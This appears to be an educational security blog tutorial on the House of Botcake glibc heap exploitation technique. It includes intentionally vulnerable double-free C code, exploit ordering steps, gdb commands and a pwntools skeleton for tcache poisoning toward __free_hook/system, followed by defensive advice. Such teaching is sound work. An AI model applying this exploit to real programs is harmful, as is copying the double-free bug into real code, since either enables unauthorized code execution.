House of Botcake

House of Botcake - article cover image RE & Pwn
Time it takes to read this article 8 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

House of Botcake is the modern answer to the tcache double-free key. When glibc 2.29 added a per-chunk key field to detect a chunk being freed twice into the tcache, the simple ‘free the same pointer twice’ trick started aborting with “free(): double free detected in tcache 2”. House of Botcake sidesteps that check entirely by routing the two frees through two different bins: it fills the tcache, frees a chunk into the *unsorted bin* where it consolidates with a neighbour, then frees it a second time into the *tcache* — where the key check never sees a duplicate because the chunk’s first stop was the unsorted bin, not the tcache. The result is a chunk that exists simultaneously as part of a large consolidated free block *and* as a tcache entry: a controlled chunk overlap on hardened glibc.

The technique (named by its author, *Botcake*) is important precisely because it works *after* the double-free key was introduced — it is a glibc 2.29+ technique, the standard way to obtain overlapping chunks when the naive double-free is dead. From the overlap, the attacker sets up an ordinary tcache poison to redirect a later allocation to an arbitrary address. Its main modern constraint is safe-linking (glibc >= 2.32), which mangles the tcache fd pointer and so requires a heap-address leak to compute the poison — but safe-linking does not touch the consolidation trick that gives Botcake its overlap in the first place.

Attack Prerequisites

House of Botcake needs enough allocations to fill a tcache bin and two adjacent chunks to consolidate, plus a double-free primitive. Typical requirements:

  • A double-free primitive on a small-sized chunk (a dangling pointer that can be freed after it is already gone).
  • Enough allocations to fill the target tcache bin (7 chunks of the size, the default tcache_count) so that later frees are forced past the tcache into the unsorted bin where consolidation happens.
  • Two adjacent, coalescible chunks so that freeing them into the unsorted bin merges them into one larger free chunk.
  • An allocation/edit primitive to write into the overlapping region once it is reclaimed (to perform the follow-on tcache poison).
  • A heap leak on glibc >= 2.32 because safe-linking mangles the tcache fd that the poison step overwrites.

How It Works

The double-free key works like this: since glibc 2.29, freeing a chunk into a tcache bin stamps a key field in the freed chunk; before pushing a new chunk onto a bin, free scans that bin, and if it finds a chunk already carrying the key it aborts as a double free. The check only guards the tcache path — it does nothing about a chunk that is freed into the unsorted bin. House of Botcake exploits exactly that gap by ensuring the *first* free of the target chunk goes to the unsorted bin rather than the tcache.

The setup is precise. Allocate the target chunk (call it the *prev* chunk) and an adjacent *victim* chunk directly after it, plus seven extra chunks of the same size. Free the seven extras first — they fill the tcache bin (7/7). Now free the *victim* and then the *prev* chunk: because the tcache is full, both go to the unsorted bin, and being adjacent they consolidate into one larger free chunk. Next, allocate one chunk of the size — this pulls a chunk *out* of the now-full tcache, dropping it to 6/7 and making room. Finally, free the *prev* chunk again. This time there is space in the tcache, so *prev* is pushed onto the tcache bin — but *prev* is also still part of the large consolidated chunk sitting in the unsorted bin. The same memory now lives in two places at once, and the tcache key check never fired, because *prev*’s first free went to the unsorted bin, not the tcache.

With the overlap established, the attacker reclaims the large consolidated chunk with a single big allocation; that allocation’s user data overlaps the *prev* chunk that is still sitting in the tcache bin. Writing into the big chunk therefore lets the attacker overwrite the tcache entry’s fd pointer — an ordinary tcache poison. The next two allocations of that size then return, first the real *prev* chunk, and second a chunk at the attacker-chosen address. On glibc >= 2.32 the fd written must be mangled with safe-linking (fd XOR (chunk_addr >> 12)), which is why a heap leak is part of the modern recipe — but the overlap that makes the poison possible came for free from the consolidation, untouched by the double-free key.

Vulnerable Code / Setup

The enabling bug is a double-free (a pointer freed after it is already freed), the same root cause the tcache key was meant to stop. House of Botcake shows the key is not sufficient on its own:

#include <stdlib.h>

char *slot[16];

/* The program frees by index but never nulls the pointer, so an index can
   be freed twice -> the double-free primitive Botcake needs. */
void del(int i) { free(slot[i]); }   /* BUG: no slot[i] = NULL; */

void layout(void) {
    for (int i = 0; i < 7; i++) slot[i] = malloc(0xf0);  /* tcache fillers */
    slot[7] = malloc(0xf0);          /* prev  (target)               */
    slot[8] = malloc(0xf0);          /* victim (adjacent to prev)     */
    malloc(0xf0);                    /* guard vs. top consolidation   */
}
C

The exploit ordering is the whole technique — fill tcache, consolidate in the unsorted bin, make tcache room, then the second free of *prev*:

for (int i = 0; i < 7; i++) del(i);  /* tcache[0x100] now 7/7 (full)   */
del(8);                              /* victim -> unsorted bin         */
del(7);                              /* prev  -> unsorted, CONSOLIDATES */
malloc(0xf0);                        /* pop one from tcache -> 6/7      */
del(7);                              /* prev freed AGAIN -> tcache;     */
                                     /* no key abort: 1st free was unsorted */
C

Triage confirms this is the hardened case the technique is built for — a glibc with the double-free key (and possibly safe-linking):

$ ldd ./botcake | grep libc     # 2.29+ (double-free key present)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (2.31)
$ checksec --file=./botcake
RELRO      STACK CANARY   NX        PIE
Full RELRO Canary found   NX enab.  PIE      <-- heap leak for the poison
Bash

Walkthrough / Exploitation

Verify the two-lives condition directly — after the second free of *prev*, it must appear both in the tcache bin and inside the consolidated unsorted chunk. In gdb with pwndbg:

gdb -q ./botcake
pwndbg> run
pwndbg> bins            # after del(8),del(7): a large consolidated unsorted chunk
pwndbg> # after malloc + del(7) again:
pwndbg> tcachebins      # prev appears in tcache[0x100]...
pwndbg> vis_heap_chunks # ...while still inside the unsorted consolidated chunk
Bash

The exploit reclaims the big chunk to overlap the tcache entry, poisons its fd, and allocates to the target. A pwntools skeleton (safe-linking-aware for >= 2.32):

from pwn import *

io = process('./botcake')

def alloc(i, sz):   ...   # menu wrappers
def free(i):        ...
def edit(i, data):  ...

heap = leak_heap()                 # needed on glibc >= 2.32 (safe-linking)
target = 0x0                        # e.g. __free_hook (<2.34) or a FILE ptr

def protect(pos, ptr):             # safe-linking mangling
    return ptr ^ (pos >> 12)

# 1) fill tcache, consolidate, reopen a tcache slot, double-free prev
for i in range(7): free(i)
free(8); free(7)                   # consolidate into unsorted bin
alloc(9, 0xf0)                     # tcache 7->6, room to re-free prev
free(7)                            # prev now in tcache AND consolidated chunk

# 2) reclaim the big chunk so it overlaps prev's tcache entry, poison fd
big = alloc(10, 0x120)             # request that covers prev's location
edit(10, b'A'*OFF + p64(protect(prev_addr, target)))   # overwrite tcache fd

# 3) two allocations: real prev, then the arbitrary target chunk
alloc(11, 0xf0)
evil = alloc(12, 0xf0)             # returned AT target -> arbitrary write
Python

From the arbitrary allocation the escalation is the standard tcache-poison finale, chosen by glibc version: on pre-2.34 libc, overwrite __free_hook with system and free a chunk containing "/bin/sh"; on 2.34+ pivot to a FILE vtable / _IO structure or an exit-handler pointer. Botcake’s contribution is getting you the overlap that makes that poison reachable on a glibc where the plain double-free would have aborted.

Note: The ordering is unforgiving: the tcache bin must be *full* (7/7) at the moment you free the two adjacent chunks, or they land in the tcache instead of the unsorted bin and never consolidate. Equally, you must free the *victim* (higher address) and then *prev* so the backward consolidation merges them, and only reopen a tcache slot *after* the consolidation. Confirm each transition with bins/tcachebins in gdb before the second free of prev.

Opsec: House of Botcake is a post-2.29 technique by design — it exists to beat the double-free key — so it is the right tool on modern glibc where a naive double-free aborts. But on glibc >= 2.32 the follow-on tcache poison must mangle the fd with safe-linking, so a heap leak is mandatory and a forgotten XOR will send the allocation to the wrong place (or trip the alignment check). Fingerprint the libc and leak the heap base before poisoning.

Detection and Defense

Botcake demonstrates that the double-free key alone is insufficient; defense must address the root double-free and the overlap it produces:

  • Null pointers after free and validate free-state — the double-free primitive is the root cause the key only partially mitigates.
  • Keep glibc current, but do not rely on the key alone — safe-linking (>= 2.32) forces a heap leak for the poison step and the alignment check rejects misaligned targets, raising the bar even though Botcake defeats the key itself.
  • Full RELRO + PIE + ASLR — remove static write targets and force leaks for both the heap and libc.
  • AddressSanitizer in CI — detects the double-free deterministically (“attempting double-free”) regardless of which bin it would land in.
  • Hardened allocators — designs that keep free-list metadata out of band and detect overlapping live/free regions deny the two-lives condition Botcake relies on.

Real-World Impact

House of Botcake is one of the most widely used techniques in contemporary glibc CTF pwn precisely because it is the reliable way to obtain overlapping chunks on 2.29+ where the double-free key retired the naive approach. It is a clear illustration of an arms race: a targeted mitigation (the tcache key) closed one path, and exploit developers immediately found an equivalent result by routing the first free through a different bin. The bug class it consumes — double-free (CWE-415), closely related to use-after-free (CWE-416) — remains among the most common and severe memory-safety weaknesses in C/C++ software. Botcake’s practical lesson for defenders is that per-path checks (a key that guards only the tcache) can be composed around, and that preventing the underlying double-free is far more durable than detecting one specific manifestation of it.

Conclusion

House of Botcake beats the tcache double-free key by making a chunk’s first free land in the unsorted bin — where it consolidates with a neighbour — and its second free land in the tcache, producing a chunk that is simultaneously part of a large free block and a tcache entry. Reclaiming the big chunk overlaps the tcache entry, enabling an ordinary tcache poison to an arbitrary address. It is a glibc 2.29+ technique constrained (not stopped) by safe-linking’s heap-leak requirement, and it stands as the definitive example that a mitigation guarding one code path can be sidestepped by simply taking another.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL